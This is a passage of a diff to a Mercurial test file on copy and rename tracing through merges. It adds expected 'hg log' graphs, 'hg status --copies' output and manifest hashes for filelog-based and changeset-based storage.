(no-filelog !) + R x + $ hg status --copies --rev 'desc("b-1")' --rev 'desc("mRBm-0")' + M t + r (no-filelog !) + R r + $ hg status --copies --rev 'desc("r-2")' --rev 'desc("mRBm-0")' + M b + $ hg status --copies --rev 'desc("r-1")' --rev 'desc("mRBm-0")' + M b + M t + x (no-filelog !) + R x + +#if no-changeset + $ hg log -Gfr 'desc("mBRm-0")' d + o i-2: c -move-> d, s -move-> t + | + o i-1: a -move-> c, p -move-> s + | + o i-0 initial commit: a b h p q r + +#else +BROKEN: `hg log --follow ` relies on filelog metadata to work + $ hg log -Gfr 'desc("mBRm-0")' d + o i-2: c -move-> d, s -move-> t + | + ~ +#endif + +#if no-changeset + $ hg log -Gfr 'desc("mRBm-0")' d + o i-2: c -move-> d, s -move-> t + | + o i-1: a -move-> c, p -move-> s + | + o i-0 initial commit: a b h p q r + +#else +BROKEN: `hg log --follow ` relies on filelog metadata to work + $ hg log -Gfr 'desc("mRBm-0")' d + o i-2: c -move-> d, s -move-> t + | + ~ +#endif + +Subcase: reset of the copy history on one side +`````````````````````````````````````````````` + Merge: - one with change to a file - one deleting and recreating the file @@ -1370,21 +2704,21 @@ consider history and rename on both branch of the merge. $ hg log -G --rev '::(desc("mDGm")+desc("mGDm"))' - o 27 mGDm-0 simple merge - the other way + o mGDm-0 actual content merge, copies on one side - D side: delete and re-add (different content), G side: update content - the other way |\ - +---o 26 mDGm-0 simple merge - one way + +---o mDGm-0 actual content merge, copies on one side - D side: delete and re-add (different content), G side: update content - one way | |/ - | o 25 g-1: update d + | o g-1: update d | | - o | 8 d-2 re-add d + o | d-2 re-add d | | - o | 7 d-1 delete d + o | d-1 delete d |/ - o 2 i-2: c -move-> d + o i-2: c -move-> d, s -move-> t | - o 1 i-1: a -move-> c + o i-1: a -move-> c, p -move-> s | - o 0 i-0 initial commit: a b h + o i-0 initial commit: a b h p q r One side of the merge have a long history with rename. The other side of the merge point to a new file with a smaller history. Each side is "valid". @@ -1395,11 +2729,17 @@ $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mDGm-0")' A d a (filelog !) + A t + p R a + R p $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mGDm-0")' A d a + A t + p R a + R p $ hg status --copies --rev 'desc("d-2")' --rev 'desc("mDGm-0")' M d $ hg status --copies --rev 'desc("d-2")' --rev 'desc("mGDm-0")' @@ -1411,28 +2751,28 @@ #if no-changeset $ hg log -Gfr 'desc("mDGm-0")' d - o 26 mDGm-0 simple merge - one way + o mDGm-0 actual content merge, copies on one side - D side: delete and re-add (different content), G side: update content - one way |\ - | o 25 g-1: update d + | o g-1: update d | | - o | 8 d-2 re-add d + o | d-2 re-add d |/ - o 2 i-2: c -move-> d + o i-2: c -move-> d, s -move-> t | - o 1 i-1: a -move-> c + o i-1: a -move-> c, p -move-> s | - o 0 i-0 initial commit: a b h + o i-0 initial commit: a b h p q r #else BROKEN: `hg log --follow ` relies on filelog metadata to work $ hg log -Gfr 'desc("mDGm-0")' d - o 26 mDGm-0 simple merge - one way + o mDGm-0 actual content merge, copies on one side - D side: delete and re-add (different content), G side: update content - one way |\ - | o 25 g-1: update d + | o g-1: update d | | - o | 8 d-2 re-add d + o | d-2 re-add d |/ - o 2 i-2: c -move-> d + o i-2: c -move-> d, s -move-> t | ~ #endif @@ -1440,32 +2780,34 @@ #if no-changeset $ hg log -Gfr 'desc("mDGm-0")' d - o 26 mDGm-0 simple merge - one way + o mDGm-0 actual content merge, copies on one side - D side: delete and re-add (different content), G side: update content - one way |\ - | o 25 g-1: update d + | o g-1: update d | | - o | 8 d-2 re-add d + o | d-2 re-add d |/ - o 2 i-2: c -move-> d + o i-2: c -move-> d, s -move-> t | - o 1 i-1: a -move-> c + o i-1: a -move-> c, p -move-> s | - o 0 i-0 initial commit: a b h + o i-0 initial commit: a b h p q r #else BROKEN: `hg log --follow ` relies on filelog metadata to work $ hg log -Gfr 'desc("mDGm-0")' d - o 26 mDGm-0 simple merge - one way + o mDGm-0 actual content merge, copies on one side - D side: delete and re-add (different content), G side: update content - one way |\ - | o 25 g-1: update d + | o g-1: update d | | - o | 8 d-2 re-add d + o | d-2 re-add d |/ - o 2 i-2: c -move-> d + o i-2: c -move-> d, s -move-> t | ~ #endif +Subcase: merging a change to a file with a "copy overwrite" to that file from another branch +```````````````````````````````````````````````````````````````````````````````````````````` Merge: - one with change to a file (d) @@ -1476,21 +2818,21 @@ $ hg log -G --rev '::(desc("mGFm")+desc("mFGm"))' - o 29 mGFm-0 simple merge - the other way + o mGFm-0 merge - G side: content change, F side: copy overwrite, no content change - the other way |\ - +---o 28 mFGm-0 simple merge - one way + +---o mFGm-0 merge - G side: content change, F side: copy overwrite, no content change - one way | |/ - | o 25 g-1: update d + | o g-1: update d | | - o | 22 f-2: rename i -> d + o | f-2: rename i -> d | | - o | 21 f-1: rename h -> i + o | f-1: rename h -> i |/ - o 2 i-2: c -move-> d + o i-2: c -move-> d, s -move-> t | - o 1 i-1: a -move-> c + o i-1: a -move-> c, p -move-> s | - o 0 i-0 initial commit: a b h + o i-0 initial commit: a b h p q r Note: @@ -1504,15 +2846,15 @@ Details on this hash ordering pick: $ hg manifest --debug 'desc("g-1")' | egrep 'd$' - f2b277c39e0d2bbac99d8aae075c0d8b5304d266 644 d (no-changeset !) - 4ff57b4e8dceedb487e70e6965ea188a7c042cca 644 d (changeset !) + 17ec97e605773eb44a117d1136b3849bcdc1924f 644 d (no-changeset !) + 5cce88bf349f7c742bb440f2c53f81db9c294279 644 d (changeset !) $ hg status --copies --rev 'desc("i-0")' --rev 'desc("g-1")' d A d a (no-changeset no-compatibility !) $ hg manifest --debug 'desc("f-2")' | egrep 'd$' - 4a067cf8965d1bfff130057ade26b44f580231be 644 d (no-changeset !) - fe6f8b4f507fe3eb524c527192a84920a4288dac 644 d (changeset !) + 7b79e2fe0c8924e0e598a82f048a7b024afa4d96 644 d (no-changeset !) + ae258f702dfeca05bf9b6a22a97a4b5645570f11 644 d (changeset !) $ hg status --copies --rev 'desc("i-0")' --rev 'desc("f-2")' d A d h (no-changeset no-compatibility !) @@ -1521,15 +2863,22 @@ $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mFGm-0")' A d - h + h (no-filelog !) + a (filelog !) + A t + p R a R h + R p $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mGFm-0")' A d - a (no-filelog !) - h (filelog !) + a (no-changeset !) + h (changeset !) + A t + p R a R h + R p $ hg status --copies --rev 'desc("f-2")' --rev 'desc("mFGm-0")' M d $ hg status --copies --rev 'desc("f-2")' --rev 'desc("mGFm-0")' @@ -1543,74 +2892,194 @@ i (no-filelog !) R i $ hg status --copies --rev 'desc("g-1")' --rev 'desc("mFGm-0")' - M d - h (no-filelog !) + M d (no-changeset !) + h (no-filelog no-changeset !) R h $ hg status --copies --rev 'desc("g-1")' --rev 'desc("mGFm-0")' - M d - h (no-filelog !) + M d (no-changeset !) + h (no-filelog no-changeset !) R h #if no-changeset $ hg log -Gfr 'desc("mFGm-0")' d - o 28 mFGm-0 simple merge - one way + o mFGm-0 merge - G side: content change, F side: copy overwrite, no content change - one way |\ - | o 25 g-1: update d + | o g-1: update d | | - o | 22 f-2: rename i -> d + o | f-2: rename i -> d | | - o | 21 f-1: rename h -> i + o | f-1: rename h -> i |/ - o 2 i-2: c -move-> d + o i-2: c -move-> d, s -move-> t | - o 1 i-1: a -move-> c + o i-1: a -move-> c, p -move-> s | - o 0 i-0 initial commit: a b h + o i-0 initial commit: a b h p q r #else BROKEN: `hg log --follow ` relies on filelog metadata to work $ hg log -Gfr 'desc("mFGm-0")' d - o 28 mFGm-0 simple merge - one way - |\ - | o 25 g-1: update d - | | - o | 22 f-2: rename i -> d - |/ - o 2 i-2: c -move-> d + o g-1: update d + | + o i-2: c -move-> d, s -move-> t | ~ #endif #if no-changeset $ hg log -Gfr 'desc("mGFm-0")' d - o 29 mGFm-0 simple merge - the other way + o mGFm-0 merge - G side: content change, F side: copy overwrite, no content change - the other way |\ - | o 25 g-1: update d + | o g-1: update d | | - o | 22 f-2: rename i -> d + o | f-2: rename i -> d | | - o | 21 f-1: rename h -> i + o | f-1: rename h -> i |/ - o 2 i-2: c -move-> d + o i-2: c -move-> d, s -move-> t | - o 1 i-1: a -move-> c + o i-1: a -move-> c, p -move-> s | - o 0 i-0 initial commit: a b h + o i-0 initial commit: a b h p q r #else BROKEN: `hg log --follow ` relies on filelog metadata to work $ hg log -Gfr 'desc("mGFm-0")' d - o 29 mGFm-0 simple merge - the other way - |\ - | o 25 g-1: update d - | | - o | 22 f-2: rename i -> d - |/ - o 2 i-2: c -move-> d + o g-1: update d + | + o i-2: c -move-> d, s -move-> t | ~ #endif +Subcase: new copy information on both side with an actual merge happening +````````````````````````````````````````````````````````````````````````` + +- the "p-" branch renaming 't' to 'v' (through 'u') +- the "q-" branch renaming 'r' to 'v' (through 'w') + + + $ hg log -G --rev '::(desc("mPQm")+desc("mQPm"))' + o mQPm-0 merge with copies info on both side - P side: rename t to v, Q side: r to v, (different content) - the other way + |\ + +---o mPQm-0 merge with copies info on both side - P side: rename t to v, Q side: r to v, (different content) - one way + | |/ + | o q-2 w -move-> v + | | + | o q-1 r -move-> w + | | + o | p-2: u -move-> v + | | + o | p-1: t -move-> u + |/ + o i-2: c -move-> d, s -move-> t + | + o i-1: a -move-> c, p -move-> s + | + o i-0 initial commit: a b h p q r + + +#if no-changeset + $ hg manifest --debug --rev 'desc("mPQm-0")' | grep '644 v' + 0946c662ef16e4e67397fd717389eb6693d41749 644 v + $ hg manifest --debug --rev 'desc("mQPm-0")' | grep '644 v' + 0db3aad7fcc1ec27fab57060e327b9e864ea0cc9 644 v + $ hg manifest --debug --rev 'desc("p-2")' | grep '644 v' + 3f91841cd75cadc9a1f1b4e7c1aa6d411f76032e 644 v + $ hg manifest --debug --rev 'desc("q-2")' | grep '644 v' + c43c088b811fd27983c0a9aadf44f3343cd4cd7e 644 v + $ hg debugindex v | ../no-linkrev + rev linkrev nodeid p1 p2 + 0 * 3f91841cd75c 000000000000 000000000000 + 1 * c43c088b811f 000000000000 000000000000 + 2 * 0946c662ef16 3f91841cd75c c43c088b811f + 3 * 0db3aad7fcc1 c43c088b811f 3f91841cd75c +#else + $ hg manifest --debug --rev 'desc("mPQm-0")' | grep '644 v' + 65fde9f6e4d4da23b3f610e07b53673ea9541d75 644 v + $ hg manifest --debug --rev 'desc("mQPm-0")' | grep '644 v' + a098dda6413aecf154eefc976afc38b295acb7e5 644 v + $ hg manifest --debug --rev 'desc("p-2")' | grep '644 v' + 5aed6a8dbff0301328c08360d24354d3d064cf0d 644 v + $ hg manifest --debug --rev 'desc("q-2")' | grep '644 v' + a38b2fa170219750dac9bc7d19df831f213ba708 644 v + $ hg debugindex v | ../no-linkrev + rev linkrev nodeid p1 p2 + 0 * 5aed6a8dbff0 000000000000 000000000000 + 1 * a38b2fa17021 000000000000 000000000000 + 2 * 65fde9f6e4d4 5aed6a8dbff0 a38b2fa17021 + 3 * a098dda6413a a38b2fa17021 5aed6a8dbff0 +#endif + +# Here the filelog based implementation is not looking at the rename +# information (because the file exist on both side). However the changelog +# based on works fine. We have different output. + + $ hg status --copies --rev 'desc("p-2")' --rev 'desc("mPQm-0")' + M v + r (no-filelog !) + R r + $ hg status --copies --rev 'desc("p-2")' --rev 'desc("mQPm-0")' + M v + r (no-filelog !) + R r + $ hg status --copies --rev 'desc("q-2")' --rev 'desc("mPQm-0")' + M v + t (no-filelog !) + R t + $ hg status --copies --rev 'desc("q-2")' --rev 'desc("mQPm-0")' + M v + t (no-filelog !) + R t + $ hg status --copies --rev 'desc("i-2")' --rev 'desc("p-2")' + A v + t + R t + $ hg status --copies --rev 'desc("i-2")' --rev 'desc("q-2")' + A v + r + R r + +# From here, we run status against revision where both source file exists. +# +# The filelog based implementation picks an arbitrary side based on revision +# numbers. So the same side "wins" whatever the parents order is. This is +# sub-optimal because depending on revision numbers means the result can be +# different from one repository to the next. +# +# The changeset based algorithm use the parent order to break tie on conflicting +# information and will have a different order depending on who is p1 and p2. +# That order is stable accross repositories. (data from p1 prevails) + + $ hg status --copies --rev 'desc("i-2")' --rev 'desc("mPQm-0")' + A v + t + R r + R t + $ hg status --copies --rev 'desc("i-2")' --rev 'desc("mQPm-0")' + A v + t (filelog !) + r (no-filelog !) + R r + R t + $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mPQm-0")' + A d + a + A v + r (filelog !) + p (no-filelog !) + R a + R p + R r + $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mQPm-0")' + A d + a + A v + r + R a + R p + R r + Comparing with merging with a deletion (and keeping the file) ------------------------------------------------------------- @@ -1624,19 +3093,19 @@ copy tracing chain. $ hg log -G --rev '::(desc("mCGm")+desc("mGCm"))' - o 31 mGCm-0 + o mGCm-0 merge updated/deleted - revive the file (updated content) - the other way |\ - +---o 30 mCGm-0 + +---o mCGm-0 merge updated/deleted - revive the file (updated content) - one way | |/ - | o 25 g-1: update d + | o g-1: update d | | - o | 6 c-1 delete d + o | c-1 delete d |/ - o 2 i-2: c -move-> d + o i-2: c -move-> d, s -move-> t | - o 1 i-1: a -move-> c + o i-1: a -move-> c, p -move-> s | - o 0 i-0 initial commit: a b h + o i-0 initial commit: a b h p q r 'a' is the copy source of 'd' @@ -1644,11 +3113,17 @@ $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mCGm-0")' A d a (no-compatibility no-changeset !) + A t + p R a + R p $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mGCm-0")' A d a (no-compatibility no-changeset !) + A t + p R a + R p $ hg status --copies --rev 'desc("c-1")' --rev 'desc("mCGm-0")' A d $ hg status --copies --rev 'desc("c-1")' --rev 'desc("mGCm-0")' @@ -1669,19 +3144,19 @@ copy tracing chain. $ hg log -G --rev '::(desc("mCB-revert-m")+desc("mBC-revert-m"))' - o 33 mBC-revert-m-0 + o mBC-revert-m-0 merge explicitely revive deleted file - B side: unrelated change, C side: delete d (restored by merge) - the other way |\ - +---o 32 mCB-revert-m-0 + +---o mCB-revert-m-0 merge explicitely revive deleted file - B side: unrelated change, C side: delete d (restored by merge) - one way | |/ - | o 6 c-1 delete d + | o c-1 delete d | | - o | 5 b-1: b update + o | b-1: b update |/ - o 2 i-2: c -move-> d + o i-2: c -move-> d, s -move-> t | - o 1 i-1: a -move-> c + o i-1: a -move-> c, p -move-> s | - o 0 i-0 initial commit: a b h + o i-0 initial commit: a b h p q r 'a' is the the copy source of 'd' @@ -1690,12 +3165,18 @@ M b A d a (no-compatibility no-changeset !) + A t + p R a + R p $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mBC-revert-m-0")' M b A d a (no-compatibility no-changeset !) + A t + p R a + R p $ hg status --copies --rev 'desc("c-1")' --rev 'desc("mCB-revert-m-0")' M b A d @@ -1715,31 +3196,37 @@ (the copy information from the branch that was not deleted should win). $ hg log -G --rev '::(desc("mCH-delete-before-conflict-m")+desc("mHC-delete-before-conflict-m"))' - o 36 mHC-delete-before-conflict-m-0 + o mHC-delete-before-conflict-m-0 simple merge - C side: d is the results of renames then deleted, H side: d is result of another rename (same content as the other branch) - the other way |\ - +---o 35 mCH-delete-before-conflict-m-0 + +---o mCH-delete-before-conflict-m-0 simple merge - C side: d is the results of renames then deleted, H side: d is result of another rename (same content as the other branch) - one way | |/ - | o 34 h-1: b -(move)-> d + | o h-1: b -(move)-> d | | - o | 6 c-1 delete d + o | c-1 delete d | | - o | 2 i-2: c -move-> d + o | i-2: c -move-> d, s -move-> t | | - o | 1 i-1: a -move-> c + o | i-1: a -move-> c, p -move-> s |/ - o 0 i-0 initial commit: a b h + o i-0 initial commit: a b h p q r $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mCH-delete-before-conflict-m")' A d b (no-compatibility no-changeset !) + A t + p R a R b + R p $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mHC-delete-before-conflict-m")' A d b + A t + p R a R b + R p $ hg status --copies --rev 'desc("c-1")' --rev 'desc("mCH-delete-before-conflict-m")' A d b @@ -1749,6 +3236,586 @@ b R b $ hg status --copies --rev 'desc("h-1")' --rev 'desc("mCH-delete-before-conflict-m")' + A t + p R a + R p $ hg status --copies --rev 'desc("h-1")' --rev 'desc("mHC-delete-before-conflict-m")' + A t + p R a + R p + +Variant of previous with extra changes introduced by the merge +-------------------------------------------------------------- + +(see case declaration for details) + +Subcase: merge has same initial content on both side, but merge introduced a change +``````````````````````````````````````````````````````````````````````````````````` + +- the "e-" branch renaming b to f (through 'g') +- the "a-" branch renaming d to f (through e) +- the merge add new change to b + + $ hg log -G --rev '::(desc("mAE-change-m")+desc("mEA-change-m"))' + o mEA-change-m-0 merge with file update and copies info on both side - A side: rename d to f, E side: b to f, (same content for f in parent) - the other way + |\ + +---o mAE-change-m-0 merge with file update and copies info on both side - A side: rename d to f, E side: b to f, (same content for f in parent) - one way + | |/ + | o e-2 g -move-> f + | | + | o e-1 b -move-> g + | | + o | a-2: e -move-> f + | | + o | a-1: d -move-> e + |/ + o i-2: c -move-> d, s -move-> t + | + o i-1: a -move-> c, p -move-> s + | + o i-0 initial commit: a b h p q r + +#if no-changeset + $ hg manifest --debug --rev 'desc("mAE-change-m-0")' | grep '644 f' + 2f649fba7eb284e720d02b61f0546fcef694c045 644 f + $ hg manifest --debug --rev 'desc("mEA-change-m-0")' | grep '644 f' + 774e7c1637d536b99e2d8ef16fd731f87a82bd09 644 f + $ hg manifest --debug --rev 'desc("a-2")' | grep '644 f' + b76eb76580df486c3d51d63c5c210d4dd43a8ac7 644 f + $ hg manifest --debug --rev 'desc("e-2")' | grep '644 f' + e8825b386367b29fec957283a80bb47b47483fe1 644 f + $ hg debugindex f | ../no-linkrev + rev linkrev nodeid p1 p2 + 0 * b76eb76580df 000000000000 000000000000 + 1 * e8825b386367 000000000000 000000000000 + 2 * 2ff93c643948 b76eb76580df e8825b386367 + 3 * 2f649fba7eb2 b76eb76580df e8825b386367 + 4 * 774e7c1637d5 e8825b386367 b76eb76580df +#else + $ hg manifest --debug --rev 'desc("mAE-change-m-0")' | grep '644 f' + d3613c1ec8310a812ac4268fd853ac576b6caea5 644 f + $ hg manifest --debug --rev 'desc("mEA-change-m-0")' | grep '644 f' + 05e03c868bbcab4a649cb33a238d7aa07398a469 644 f + $ hg manifest --debug --rev 'desc("a-2")' | grep '644 f' + ae258f702dfeca05bf9b6a22a97a4b5645570f11 644 f + $ hg manifest --debug --rev 'desc("e-2")' | grep '644 f' + ae258f702dfeca05bf9b6a22a97a4b5645570f11 644 f + $ hg debugindex f | ../no-linkrev + rev linkrev nodeid p1 p2 + 0 * ae258f702dfe 000000000000 000000000000 + 1 * d3613c1ec831 ae258f702dfe 000000000000 + 2 * 05e03c868bbc ae258f702dfe 000000000000 +#endif + +# Here the filelog based implementation is not looking at the rename +# information (because the file exist on both side). However the changelog +# based on works fine. We have different output. + + $ hg status --copies --rev 'desc("a-2")' --rev 'desc("mAE-change-m-0")' + M f + b (no-filelog !) + R b + $ hg status --copies --rev 'desc("a-2")' --rev 'desc("mEA-change-m-0")' + M f + b (no-filelog !) + R b + $ hg status --copies --rev 'desc("e-2")' --rev 'desc("mAE-change-m-0")' + M f + d (no-filelog !) + R d + $ hg status --copies --rev 'desc("e-2")' --rev 'desc("mEA-change-m-0")' + M f + d (no-filelog !) + R d + $ hg status --copies --rev 'desc("i-2")' --rev 'desc("a-2")' + A f + d + R d + $ hg status --copies --rev 'desc("i-2")' --rev 'desc("e-2")' + A f + b + R b + +# From here, we run status against revision where both source file exists. +# +# The filelog based implementation picks an arbitrary side based on revision +# numbers. So the same side "wins" whatever the parents order is. This is +# sub-optimal because depending on revision numbers means the result can be +# different from one repository to the next. +# +# The changeset based algorithm use the parent order to break tie on conflicting +# information and will have a different order depending on who is p1 and p2. +# That order is stable accross repositories. (data from p1 prevails) + + $ hg status --copies --rev 'desc("i-2")' --rev 'desc("mAE-change-m-0")' + A f + d + R b + R d + $ hg status --copies --rev 'desc("i-2")' --rev 'desc("mEA-change-m-0")' + A f + d (filelog !) + b (no-filelog !) + R b + R d + $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mAE-change-m-0")' + A f + a + A t + p + R a + R b + R p + $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mEA-change-m-0")' + A f + a (filelog !) + b (no-filelog !) + A t + p + R a + R b + R p + + +Subcase: merge overwrite common copy information, but with extra change during the merge +``````````````````````````````````````````````````````````````````````````````````` + +Merge: +- one with change to an unrelated file (b) +- one overwriting a file (d) with a rename (from h to i to d) + + $ hg log -G --rev '::(desc("mBF-change-m")+desc("mFB-change-m"))' + o mFB-change-m-0 merge with extra change - B side: unrelated change, F side: overwrite d with a copy (from h->i->d) - the other way + |\ + +---o mBF-change-m-0 merge with extra change - B side: unrelated change, F side: overwrite d with a copy (from h->i->d) - one way + | |/ + | o f-2: rename i -> d + | | + | o f-1: rename h -> i + | | + o | b-1: b update + |/ + o i-2: c -move-> d, s -move-> t + | + o i-1: a -move-> c, p -move-> s + | + o i-0 initial commit: a b h p q r + + $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mBF-change-m-0")' + M b + A d + h (filelog !) + h (sidedata !) + h (upgraded !) + h (upgraded-parallel !) + h (changeset !) + h (compatibility !) + A t + p + R a + R h + R p + $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mFB-change-m-0")' + M b + A d + h + A t + p + R a + R h + R p + $ hg status --copies --rev 'desc("b-1")' --rev 'desc("mBF-change-m-0")' + M d + h (no-filelog !) + R h + $ hg status --copies --rev 'desc("f-2")' --rev 'desc("mBF-change-m-0")' + M b + M d + $ hg status --copies --rev 'desc("f-1")' --rev 'desc("mBF-change-m-0")' + M b + M d + i (no-filelog !) + R i + $ hg status --copies --rev 'desc("b-1")' --rev 'desc("mFB-change-m-0")' + M d + h (no-filelog !) + R h + $ hg status --copies --rev 'desc("f-2")' --rev 'desc("mFB-change-m-0")' + M b + M d + $ hg status --copies --rev 'desc("f-1")' --rev 'desc("mFB-change-m-0")' + M b + M d + i (no-filelog !) + R i + +#if no-changeset + $ hg log -Gfr 'desc("mBF-change-m-0")' d + o mBF-change-m-0 merge with extra change - B side: unrelated change, F side: overwrite d with a copy (from h->i->d) - one way + |\ + o : f-2: rename i -> d + | : + o : f-1: rename h -> i + :/ + o i-0 initial commit: a b h p q r + +#else +BROKEN: `hg log --follow ` relies on filelog metadata to work + $ hg log -Gfr 'desc("mBF-change-m-0")' d + o mBF-change-m-0 merge with extra change - B side: unrelated change, F side: overwrite d with a copy (from h->i->d) - one way + : + o i-2: c -move-> d, s -move-> t + | + ~ +#endif + +#if no-changeset + $ hg log -Gfr 'desc("mFB-change-m-0")' d + o mFB-change-m-0 merge with extra change - B side: unrelated change, F side: overwrite d with a copy (from h->i->d) - the other way + |\ + o : f-2: rename i -> d + | : + o : f-1: rename h -> i + :/ + o i-0 initial commit: a b h p q r + +#else +BROKEN: `hg log --follow ` relies on filelog metadata to work + $ hg log -Gfr 'desc("mFB-change-m-0")' d + o mFB-change-m-0 merge with extra change - B side: unrelated change, F side: overwrite d with a copy (from h->i->d) - the other way + : + o i-2: c -move-> d, s -move-> t + | + ~ +#endif + + +Subcase: restoring and untouched deleted file, while touching it +```````````````````````````````````````````````````````````````` + +Merge: +- one removing a file (d) +- one leaving the file untouched +- the merge actively restore the file to the same content. + +In this case, the file keep on living after the merge. So we should not drop its +copy tracing chain. + + $ hg log -G --rev '::(desc("mCB-change-m")+desc("mBC-change-m"))' + o mBC-change-m-0 merge explicitely revive deleted file - B side: unrelated change, C side: delete d (restored by merge) - the other way + |\ + +---o mCB-change-m-0 merge explicitely revive deleted file - B side: unrelated change, C side: delete d (restored by merge) - one way + | |/ + | o c-1 delete d + | | + o | b-1: b update + |/ + o i-2: c -move-> d, s -move-> t + | + o i-1: a -move-> c, p -move-> s + | + o i-0 initial commit: a b h p q r + + +'a' is the the copy source of 'd' + + $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mCB-change-m-0")' + M b + A d + a (no-compatibility no-changeset !) + A t + p + R a + R p + $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mBC-change-m-0")' + M b + A d + a (no-compatibility no-changeset !) + A t + p + R a + R p + $ hg status --copies --rev 'desc("c-1")' --rev 'desc("mCB-change-m-0")' + M b + A d + $ hg status --copies --rev 'desc("c-1")' --rev 'desc("mBC-change-m-0")' + M b + A d + $ hg status --copies --rev 'desc("b-1")' --rev 'desc("mCB-change-m-0")' + M d + $ hg status --copies --rev 'desc("b-1")' --rev 'desc("mBC-change-m-0")' + M d + + +Decision from previous merge are properly chained with later merge +------------------------------------------------------------------ + + +Subcase: chaining conflicting rename resolution +``````````````````````````````````````````````` + +The "mAEm" and "mEAm" case create a rename tracking conflict on file 'f'. We +add more change on the respective branch and merge again. These second merge +does not involve the file 'f' and the arbitration done within "mAEm" and "mEA" +about that file should stay unchanged. + +The result from mAEm is the same for the subsequent merge: + + $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mAEm")' f + A f + a (filelog !) + a (sidedata !) + a (upgraded !) + a (upgraded-parallel !) + + $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mAE,Km")' f + A f + a (filelog !) + a (sidedata !) + a (upgraded !) + a (upgraded-parallel !) + + $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mK,AEm")' f + A f + a (filelog !) + a (sidedata !) + a (upgraded !) + a (upgraded-parallel !) + + +The result from mEAm is the same for the subsequent merge: + + $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mEAm")' f + A f + a (filelog !) + b (sidedata !) + b (upgraded !) + b (upgraded-parallel !) + + $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mEA,Jm")' f + A f + a (filelog !) + b (sidedata !) + b (upgraded !) + b (upgraded-parallel !) + + $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mJ,EAm")' f + A f + a (filelog !) + b (sidedata !) + b (upgraded !) + b (upgraded-parallel !) + +Subcase: chaining conflicting rename resolution +``````````````````````````````````````````````` + +The "mPQm" and "mQPm" case create a rename tracking conflict on file 'v'. We +add more change on the respective branch and merge again. These second merge +does not involve the file 'v' and the arbitration done within "mPQm" and "mQP" +about that file should stay unchanged. + +The result from mPQm is the same for the subsequent merge: + + $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mPQm")' v + A v + r (filelog !) + p (sidedata !) + p (upgraded !) + p (upgraded-parallel !) + + $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mPQ,Tm")' v + A v + r (filelog !) + p (sidedata !) + p (upgraded !) + p (upgraded-parallel !) + + $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mT,PQm")' v + A v + r (filelog !) + p (sidedata !) + p (upgraded !) + p (upgraded-parallel !) + + +The result from mQPm is the same for the subsequent merge: + + $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mQPm")' v + A v + r (no-changeset no-compatibility !) + + $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mQP,Sm")' v + A v + r (no-changeset no-compatibility !) + + $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mS,QPm")' v + A v + r (filelog !) + r (sidedata !) + r (upgraded !) + r (upgraded-parallel !) + + +Subcase: chaining salvage information during a merge +```````````````````````````````````````````````````` + +We add more change on the branch were the file was deleted. merging again +should preserve the fact eh file was salvaged. + +reference output: + + $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mCB-revert-m-0")' + M b + A d + a (no-changeset no-compatibility !) + A t + p + R a + R p + $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mBC-revert-m-0")' + M b + A d + a (no-changeset no-compatibility !) + A t + p + R a + R p + +chained output + $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mBC+revert,Lm")' + M b + A d + a (no-changeset no-compatibility !) + A t + p + A unrelated-l + R a + R p + $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mCB+revert,Lm")' + M b + A d + a (no-changeset no-compatibility !) + A t + p + A unrelated-l + R a + R p + $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mL,BC+revertm")' + M b + A d + a (no-changeset no-compatibility !) + A t + p + A unrelated-l + R a + R p + $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mL,CB+revertm")' + M b + A d + a (no-changeset no-compatibility !) + A t + p + A unrelated-l + R a + R p + +Subcase: chaining "merged" information during a merge +`````````````````````````````````````````````````````` + +When a non-rename change are merged with a copy overwrite, the merge pick the copy source from (p1) as the reference. We should preserve this information in subsequent merges. + + +reference output: + + (for details about the filelog pick, check the mFGm/mGFm case) + + $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mFGm")' d + A d + a (filelog !) + h (sidedata !) + h (upgraded !) + h (upgraded-parallel !) + $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mGFm")' d + A d + a (filelog !) + a (sidedata !) + a (upgraded !) + a (upgraded-parallel !) + +Chained output + + $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mO,FGm")' d + A d + a (filelog !) + h (sidedata !) + h (upgraded !) + h (upgraded-parallel !) + $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mFG,Om")' d + A d + a (filelog !) + h (sidedata !) + h (upgraded !) + h (upgraded-parallel !) + + + $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mGF,Nm")' d + A d + a (no-changeset no-compatibility !) + $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mN,GFm")' d + A d + a (no-changeset no-compatibility !) + + +Subcase: chaining conflicting rename resolution, with extra change during the merge +``````````````````````````````````````````````````````````````````````````````````` + +The "mAEm" and "mEAm" case create a rename tracking conflict on file 'f'. We +add more change on the respective branch and merge again. These second merge +does not involve the file 'f' and the arbitration done within "mAEm" and 